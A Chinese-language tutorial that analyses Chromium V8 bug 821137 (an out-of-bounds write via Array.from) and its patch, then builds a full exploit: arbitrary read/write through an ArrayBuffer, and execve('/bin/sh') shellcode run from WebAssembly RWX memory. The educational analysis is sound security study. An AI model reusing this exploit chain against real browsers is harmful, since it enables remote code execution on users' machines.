v8利用入門-從越界訪問到rce
摘要:然後判斷array.from的第一個參數是否定義了迭代器方法iterator,若iterator方法非undefined、null使用自定義的迭代器方法,poc中的數組oobArray定義了iterator,會執行BIND(&iterable)中的代碼。} Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => ( { counter : 0, next() { let result = 1.1。
最近筆者分析了一個chrome v8引擎的漏洞chromium821137,雖然這是一個老的漏洞,但是從漏洞分析利用中我們還是可以學習到v8漏洞利用的一些基礎知識,對於入門學習瀏覽器漏洞利用具有較高的研究價值。
環境搭建
拉取代碼
因爲衆所周知的原因,拉取v8代碼需要使用非常規的方法,具體的搭建過程可以參考文末的鏈接。環境搭建和拉取舊的commit過程中我遇到的主要的坑是代理的問題,需要使用sock5全局代理,並且在使用谷歌的gclient sync命令的時候需要在根目錄寫一個.boto的配置文件才能使之運行時使用配置的代理;另外一個很重要的點是linux要使用ubuntu的鏡像(筆者使用的是ubuntu 18.04),使用其他發行版可能會遇到奇奇怪怪意想不到的問題。大家在配置的過程如果遇到問題可以查找是不是上述步驟出現問題。
調試環境搭建
v8調試環境可以使用v8安裝目錄下的/tools/gdbinit並將它加入根目錄下.gdbinit配置裏,修改.gdbinit配置
sudo gedit ~/.gdbinit
添加配置(可以配合其他gdb插件如pwndbg使用),
source path/to/gdbinit
使用gdb調試時可以先加載要調試的d8文件,然後設置啓動參數
set args --allow-natives-syntax xxx.js
其中xxx.js可以在要調試的地方設置輸出點和斷點
%DebugPrint(obj) // 輸出對象地址 %SystemBreak() // 觸發調試中斷
在gdb中使用job addr命令可以很清晰的看到addr處的數據結構。
漏洞環境搭建
我們從漏洞的issue鏈接 https://bugs.chromium.org/p/chromium/issues/detail?id=821137 找到修復的commit鏈接 https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d ,可以看到漏洞信息、存在漏洞的上一個版本(parent)、diff修復信息和漏洞poc( test/mjsunit/regress/regress-821137.js )
回退到漏洞存在的commit,分別編譯debug和release版。(其中ninja構建系統是非google系的,需要自行安裝,可以參考v8環境搭建的鏈接)
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599 gclient sync tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 tools/dev/v8gen.py x64.relase ninja -C out.gn/x64.relase d8
漏洞分析
我們從poc出發來分析漏洞的原理,poc如下
let oobArray = []; let maxSize = 1028 * 8; Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); oobArray[oobArray.length - 1] = 0x41414141;
poc主要是定義了一個數組和一個smi(small int)值,然後調用了一個方法Array.from.call,最後給定義的數組偏移[長度-1]的位置賦值時v8崩潰了。
poc中Array.from.call這個方法需要關注下,Array是一個js數據類型,from是Array類型的一個方法,Array.from整體相當於一個function,這個function又調用了call方法,這是js的一種調用方式Function.prototype.call(),語法是function.call(thisArg, arg1, arg2, …)。通過搜索MDN瞭解到Function.prototype.call()可以使用一個指定的this值和單獨給出的一個或多個參數來調用一個函數即Function,而且參數可以是一個參數列表。
憑經驗我們可以猜到應該是Array.from方法出現了問題,我們在/v8/src/目錄下查找問題代碼。(PS:v8的js函數實現方法一般在src目錄下,搜索命令中r表示遞歸查找,R表示查找包含子目錄的所有文件,n表示顯示出現的行數)
r00t@5n1p3r0010:~$ grep -rRn "array\.from" -r /home/r00t/v8/src/ /home/r00t/v8/src/builtins/builtins-definitions.h:245: /* ES6 #sec-array.from */ \ /home/r00t/v8/src/builtins/builtins-array-gen.cc:1996:// ES #sec-array.from
找到Array.from方法實現的位置和行數/home/r00t/v8/src/builtins/builtins-array-gen.cc:1996:// ES #sec-array.from並跟進。
v8中js原生函數的實現是用c++寫的,爲了在各種cpu架構下做到性能優化的極致,google把這些重載過的c++代碼實現的js原型函數用匯編器CodeStubAssembler生成了彙編代碼。重載過的c++代碼根據函數名字能大致猜到函數的功能(分析這個漏洞我們可以暫時不把主要精力放在分析這些重載的方法上,當然你要是像lokihardt那樣“看一眼函數名字就知道哪有漏洞”當我沒說;b),其中一些常用的重載方法如下
label 定義和bind綁定的標籤 bind 綁定聲明的label和代碼塊,bind綁定的代碼塊並不以{}作爲分割,綁定的是兩個bind或者bind到當前函數結束之間的代碼 goto 跳轉到代碼塊執行 branch 相當於if的三目運算,即if(flag)? a;b,根據條件flag是否成立跳轉到指定的label代碼塊a或b
我們來分析一下v8的array.from實現,
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) { TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext)); TNode<Int32T> argc = UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount)); CodeStubArguments args(this, ChangeInt32ToIntPtr(argc)); TNode<Object> map_function = args.GetOptionalArgumentValue(1); // If map_function is not undefined, then ensure it's callable else throw. //判斷arg[1]即mapFn類型是否爲undefined、smi、callable,否則報錯 { Label no_error(this), error(this); GotoIf(IsUndefined(map_function), &no_error); GotoIf(TaggedIsSmi(map_function), &error); Branch(IsCallable(map_function), &no_error, &error); BIND(&error); ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function); BIND(&no_error); }
首先判斷了arg[1]的類型,我們通過查找MDN得知array.from的函數原型是Array.from(arrayLike[, mapFn[, thisArg]]),所以這裏的arg[1]對應mapFn,同理GetOptionalArgumentValue()得到的其他參數對應方式類似。
//判斷[symbol.iterator]方法是否定義 IteratorBuiltinsAssembler iterator_assembler(state()); Node* iterator_method = iterator_assembler.GetIteratorMethod(context, array_like); Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable); //使用自定義的[symbol.iterator]方法 BIND(&iterable); { TVARIABLE(Number, index, SmiConstant(0));//定義Number類型變量index,值爲0 TVARIABLE(Object, var_exception); Label loop(this, &index), loop_done(this), on_exception(this, Label::kDeferred), index_overflow(this, Label::kDeferred); // Check that the method is callable. //判斷自定義的[symbol.iterator]方法是否是callable類型 { Label get_method_not_callable(this, Label::kDeferred), next(this); GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable); GotoIfNot(IsCallable(iterator_method), &get_method_not_callable); Goto(&next); BIND(&get_method_not_callable); ThrowTypeError(context, MessageTemplate::kCalledNonCallable, iterator_method); BIND(&next); } // Construct the output array with empty length. //創建length爲empty的數組 array = ConstructArrayLike(context, args.GetReceiver()); // Actually get the iterator and throw if the iterator method does not yield // one. IteratorRecord iterator_record = iterator_assembler.GetIterator(context, items, iterator_method); TNode<Context> native_context = LoadNativeContext(context); TNode<Object> fast_iterator_result_map = LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX); Goto(&loop);
然後判斷array.from的第一個參數是否定義了迭代器方法iterator,若iterator方法非undefined、null使用自定義的迭代器方法,poc中的數組oobArray定義了iterator,會執行BIND(&iterable)中的代碼。這裏需要關注的一點是在執行自定義的iterator時使用了變量index去記錄迭代的次數。在判斷完iterator方法是否是callable類型後poc中的代碼會執行BIND(&next)處的代碼,在next中首先創建了一個長度爲0的數組,然後跳轉到loop處繼續執行。
BIND(&loop)主要是調用CallJS執行了自定義的Array.from(arrayLike[, mapFn[, thisArg]])中的mapFn方法,返回值存儲在thisArg中,並用index記錄迭代的次數。
...... BIND(&loop_done); { length = index; Goto(&finished); } ...... BIND(&finished); // Finally set the length on the output and return it. GenerateSetLength(context, array.value(), length.value()); args.PopAndReturn(array.value()); }
iterator執行完成之後會跳轉到loop_done處,index的value賦值給length,繼續跳轉到finished處。在finished處調用了GenerateSetLength設置生成的array的長度,注意這裏的第三個參數length.value()實際上是自定義的iterator執行的次數。
繼續跟進GenerateSetLength
BranchIfFastJSArray(array, context, &fast, &runtime); BIND(&fast); { TNode<JSArray> fast_array = CAST(array); TNode<Smi> length_smi = CAST(length); TNode<Smi> old_length = LoadFastJSArrayLength(fast_array); CSA_ASSERT(this, TaggedIsPositiveSmi(old_length)); // 2) Ensure that the length is writable. // TODO(delphick): This check may be redundant due to the // BranchIfFastJSArray above. EnsureArrayLengthWritable(LoadMap(fast_array), &runtime); // 3) If the created array already has a length greater than required, // then use the runtime to set the property as that will insert holes // into the excess elements and/or shrink the backing store. GotoIf(SmiLessThan(length_smi, old_length), &runtime); StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi); Goto(&done); }
在GenerateSetLength中首先判斷了array是否包含fast elements(具體快元素和字典元素的區別可以查閱參考鏈接)。poc中oobarray不包含configurable爲false的元素是快元素,執行BIND(&fast)的代碼。在fast中把GenerateSetLength的第三個參數length轉化賦值給length_smi,array的length轉化賦值給old_length,然後比較length_smi和old_length的大小,若length_smi小於old_length則進行內存縮減跳轉到runtime設置array的length爲length_smi。
代碼的邏輯看起來似乎沒問題,就是對Array.from(arrayLike[, mapFn[, thisArg]])方法中的arrayLike對象執行自定義的迭代方法index次,創建一個空的array並在執行自定義迭代方法時設置它的長度爲index.value,並最後檢查根據index.value是否小於array的實際長度來決定設置array的長度爲index.value或實際長度。但開發者似乎忽略了一個問題就是迭代方法是我們自己定義的,我們可以在迭代方法中設置Array.from(arrayLike[, mapFn[, thisArg]])中arrayLike對象的實際長度;如poc中我們在最後一輪迭代時設置oobArray的實際長度爲0,在執行完maxSize次迭代後調用GenerateSetLength,這時oobArray迭代次數index>設置的實際長度0,並不會跳轉到runtime設置oobArray的長度爲我們設置的實際長度0,這樣我們在實際長度爲0的oobArray裏擁有迭代次數index大小長度的訪問權,就造成了越界訪問。
patch中修改SmiLessThan爲SmiNotEqual,這樣在迭代次數>迭代函數中設置的實際長度時也會跳轉到runtime執行設置數組的長度爲迭代函數中設置的實際長度,就避免了oob的發生。
- // 3) If the created array already has a length greater than required, + // 3) If the created array's length does not match the required length, // then use the runtime to set the property as that will insert holes - // into the excess elements and/or shrink the backing store. - GotoIf(SmiLessThan(length_smi, old_length), &runtime); + // into excess elements or shrink the backing store as appropriate. + GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
v8數據存儲形式
在js中number都是double型的,v8爲了節約存儲內存和加快性能,實現的時候加了smi(small int)型。32位系統中smi的範圍是31位有符號數,64位smi範圍是32位帶符號數。大於2^32 v8會用float存儲整型。
爲了加快垃圾回收的效率需要區分number和指針,v8的做法是使用低位爲標誌位對它們進行區分。由於32位、64位系統的指針會字節對齊,指針的最低位一定爲0,v8利用這一點最低位爲1視爲指針,最低位爲0視爲number,smi在32位系統中只有高31位是有效數據位。
漏洞利用
總體思路
通過前面的分析我們得知這是一個越界訪問漏洞,如果我們想通過這個越界訪問漏洞達到任意代碼執行的效果,容易想到的一種方式是通過越界訪問達到任意地址寫,再到劫持控制流進而任意代碼執行。
任意地址寫
v8中達到任意地址讀寫的方法一般是控制一個JSArrayBuffer對象,之後的分析我們會看到JSArrayBuffer對象有一個成員域backing_store,backing_store指向初始化JSArrayBuffer時用戶申請大小的堆,如果我們控制了一個JSArrayBuffer相當於一個指針和指針的內容可以同時改寫。這樣我們改寫backing_store讀取控制的JSArrayBuffer的內容就是任意地址讀;我們改寫backing_store修改控制的JSArrayBuffer的內容就是任意地址寫。
獲得可控JSArrayBuffer
接下來的問題是如何得到可控的JSArrayBuffer對象,因爲我們最後的目的是使得JSArrayBuffer的backing_store指針和指針的內容可寫,所以這裏需要JSArrayBuffer落到一個釋放的oobArray裏,這一步可以通過gc實現。觸發gc可以通過刪除對象引用實現,需要注意的一點是爲了避免oobArray被gc完全回收,在最後一輪迭代後要設置oobArray.length爲大於0的數如1。
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/ var bufArray = []; var objArray = []; var oobArray = [1.1]; var maxSize = 8224; function objGen(tag){ this.leak = 0x1234; this.tag = tag; } Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length = 1; bufArray.push(new ArrayBuffer(0xbeef)); objArray.push(new objGen(0xdead)); return {done: true}; } else { return {value: result, done: false}; } } } ) }); for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
信息泄露
gc觸發之後某個JSArrayBuffer會落在某個oobArray裏,下一步就是確定JSArrayBuffer對象和用於泄露信息的objGen的位置。這裏可以通過搜索自定義的標誌位0xbeef和0xdead實現,
for(let i = 0; i < maxSize; i++){ let val = dt.f2i(oobArray[i]); if(0xbeef00000000===val){ offsetBuf = i-3; console.log("buf offset: " + offsetBuf); } if(0xdead00000000===val){ offsetObjLeak = i-1; console.log("objGen.leak offset: " + offsetObjLeak); break; } }
其中JSArrayBuffer和objGen在內存中的存儲如下
DebugPrint: 0x155d775640a9: [JSArray] - map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x37429d985539 <JSArray[0]> - elements: 0x155d775640c9 <FixedArray[3]> [PACKED_ELEMENTS] - length: 3 - properties: 0x1c4546382251 <FixedArray[0]> { #length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor) } - elements: 0x155d775640c9 <FixedArray[3]> { 0: 0x317427c912b1 <JSArray[8224]> 1: 0x317427c91269 <JSArray[1]> 2: 0x317427c91239 <JSArray[1]> } pwndbg> job 0x317427c91269 0x317427c91269: [JSArray] - map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x37429d985539 <JSArray[0]> - elements: 0x155d77563fb9 <FixedArray[17]> [PACKED_ELEMENTS] - length: 1 - properties: 0x1c4546382251 <FixedArray[0]> { #length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor) } - elements: 0x155d77563fb9 <FixedArray[17]> { 0: 0x155d77563ec9 <objGen map = 0x27e8a970d519> 1-16: 0x1c4546382321 <the_hole> } pwndbg> x/10xg 0x155d77563ec9-1 0x155d77563ec8: 0x000027e8a970d519 0x00001c4546382251 0x155d77563ed8: 0x00001c4546382251 0x0000123400000000 0x155d77563ee8: 0x0000dead00000000 //flag 0x0000282d394823b9 0x155d77563ef8: 0x0000282d394823b9 0x0000282d394823b9 0x155d77563f08: 0x0000282d394823b9 0x0000282d394823b9 pwndbg> job 0x317427c91239 0x317427c91239: [JSArray] - map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x37429d985539 <JSArray[0]> - elements: 0x155d77563d29 <FixedArray[17]> [PACKED_ELEMENTS] - length: 1 - properties: 0x1c4546382251 <FixedArray[0]> { #length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor) } - elements: 0x155d77563d29 <FixedArray[17]> { 0: 0x155d77563cd9 <ArrayBuffer map = 0x27e8a9703fe9> 1-16: 0x1c4546382321 <the_hole> } pwndbg> job 0x155d77563cd9 0x155d77563cd9: [JSArrayBuffer] - map: 0x27e8a9703fe9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x37429d992981 <Object map = 0x27e8a9704041> - elements: 0x1c4546382251 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x55cf2f44a130 - byte_length: 48879 - neuterable - properties: 0x1c4546382251 <FixedArray[0]> {} - embedder fields = { (nil) (nil) } pwndbg> x/10xg 0x155d77563cd9-1 0x155d77563cd8: 0x000027e8a9703fe9 0x00001c4546382251 0x155d77563ce8: 0x00001c4546382251 0x0000beef00000000 //flag 0x155d77563cf8: 0x000055cf2f44a130 0x000055cf2f44a130 0x155d77563d08: 0x000000000000beef 0x0000000000000004 0x155d77563d18: 0x0000000000000000 0x0000000000000000 pwndbg> x/10xg 0x55cf2f44a130-0x10 //backing_store指向內存區,chunk size=0xbf01,申請0xbeef,字節對齊後0xbef0+0x11 0x55cf2f44a120: 0x0000000000000000 0x000000000000bf01 0x55cf2f44a130: 0x0000000000000000 0x0000000000000000 0x55cf2f44a140: 0x0000000000000000 0x0000000000000000 0x55cf2f44a150: 0x0000000000000000 0x0000000000000000 0x55cf2f44a160: 0x0000000000000000 0x0000000000000000
利用wasm執行任意代碼
搜索得到可控的JSArrayBuffer對象後就獲得了任意地址讀寫的能力,任意代碼執行可以通過堆利用中常規的構造unsorted bin泄露libc,進而修改malloc_hook劫持控制流;對於v8也可以通過wasm獲得一塊rwx的內存,把shellcode寫進這塊內存再調用wasm的接口就可以執行shellcode了。
我們實例化一個wasm的對象funcAsm,通過讀取前面控制的JSArrayBuffer的內容可以得到funcAsm的地址。funcAsm實際上是一個JSFunction類型的對象,實際執行的代碼位於一塊rwx的內存中,通過任意地址寫修改這塊rwx內存的內容再調用funcAsm就可以執行任意代碼了。
var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main; var addressFasm = addressOf(funcAsm);
不同版本的v8中這塊rwx的內存位置可能不同,在這個版本中調試發現位於wasmInstance.exports.main->shared_info->code->code+0×70的位置。
sharedInfo: 33498958838225 codeAddr: 52817528690241 memoryRWX: 0x00002dd1ea0ae000 0x1e77958abae1 <JSFunction 0 (sfi = 0x1e77958ab9d1)> pwndbg> x/20xg 0x30098A091641-1 0x30098a091640: 0x00003556529828e1 0x00001e77958ab781 0x30098a091650: 0x00003a9562c02251 0x00003a9562c02661 0x30098a091660: 0x00001e77958ab799 0x0000049000000043 0x30098a091670: 0x000000000000002c 0xffffffff00000000 0x30098a091680: 0xffffffff00000000 0x0000000000000000 0x30098a091690: 0x0000000000000000 0x0000000000000000 0x30098a0916a0: 0xbe485756e5894855 0x00005556054ee6f0 0x30098a0916b0: 0x2dd1ea0ae000ba49 //rwx 0xe0c148d2ff410000 0x30098a0916c0: 0x0008c25de58b4820 0x00000001001f0f90 0x30098a0916d0: 0x0000001d00000003 0xffffffff0fffffff pwndbg> vmmap 0x00002dd1ea0ae000 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x2dd1ea0ae000 0x2dd1ea0af000 rwxp 1000 0
完整exp
var isdebug=1; function dp(...obj){ if(isdebug){ for(let i=0;obj[i];i++){ %DebugPrint(obj[i]); } } %SystemBreak(); } class typeConvert{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){ let vall = hex(val); let tmp = []; tmp[0] = vall.slice(10, ); tmp[1] = vall.slice(2, 10); tmp[0] = parseInt(tmp[0], 16); tmp[1] = parseInt(tmp[1], 16); this.u32.set(tmp); return this.f64[0]; } } //convert number to hex string function hex(x) { return '0x' + (x.toString(16)).padStart(16, 0); } var dt = new typeConvert(); /*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/ var bufArray = []; var objArray = []; var oobArray = [1.1]; var maxSize = 8224; function objGen(tag){ this.leak = 0x1234; this.tag = tag; } Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length = 1; bufArray.push(new ArrayBuffer(0xbeef)); objArray.push(new objGen(0xdead)); return {done: true}; } else { return {value: result, done: false}; } } } ) }); /*------search a ArrayBuffer which could be controlled by oobArray-------*/ var offsetBuf; //target offset of oobArray var indexBuf; //target offset in bufArray //dp(oobArray,objArray,bufArray); for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC //search obj&JSArray offset for(let i = 0; i < maxSize; i++){ let val = dt.f2i(oobArray[i]); if(0xbeef00000000===val){ offsetBuf = i-3; console.log("buf offset: " + offsetBuf); } if(0xdead00000000===val){ offsetObjLeak = i-1; console.log("objGen.leak offset: " + offsetObjLeak); break; } } //dp(oobArray,objArray,bufArray); function addressOf(target){ objArray[0].leak = target; return dt.f2i(oobArray[offsetObjLeak]); } /*---------------------arbitrary address read / write--------------------*/ // arbitrary address write var dtView = new DataView(bufArray[0]); function write64(addr, value){ oobArray[offsetBuf+4] = dt.i2f(addr); dtView.setFloat64(0, dt.i2f(value), true); } // arbitrary address read function read64(addr, str=false){ oobArray[offsetBuf+4] = dt.i2f(addr); let tmp = ['', '']; let tmp2 = ['', '']; let result = '' tmp[1] = hex(dtView.getUint32(0)).slice(10,); tmp[0] = hex(dtView.getUint32(4)).slice(10,); for(let i=3; i>=0; i--){ tmp2[0] += tmp[0].slice(i*2, i*2+2); tmp2[1] += tmp[1].slice(i*2, i*2+2); } result = tmp2[0]+tmp2[1] if(str==true){return '0x'+result} else {return parseInt(result, 16)}; } /*-------------------------use wasm to execute shellcode------------------*/ var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main; //dp(funcAsm); var addressFasm = addressOf(funcAsm); console.log("addressFasm: "+addressFasm); var sharedInfo = read64(addressFasm+0x18-0x1); console.log("sharedInfo: "+sharedInfo); var codeAddr = read64(sharedInfo+0x8-0x1); console.log("codeAddr: "+codeAddr); var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000); memoryRWX = Math.floor(memoryRWX); console.log("memoryRWX: "+hex(memoryRWX)); //dp(funcAsm); //sys_execve('/bin/sh') var shellcode = [ '2fbb485299583b6a', '5368732f6e69622f', '050f5e5457525f54' ]; //write shellcode into RWX memory var offsetMem = 0; for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8; } //call funcAsm() and it would execute shellcode actually funcAsm();
總結
這篇文章分析了chromium821137漏洞的原理,介紹了v8的一些基礎數據結構,並通過chromium821137學習了v8利用的基礎知識,希望讀者通過閱讀調試能有所收穫。
參考鏈接
漏洞地址 https://bugs.chromium.org/p/chromium/issues/detail?id=821137
v8環境搭建 https://www.cnblogs.com/snip3r/p/12290133.html
v8快元素 https://blog.crimx.com/2018/11/25/v8-fast-properties/
v8內存模型 https://zhuanlan.zhihu.com/p/28780798
v8垃圾回收 http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection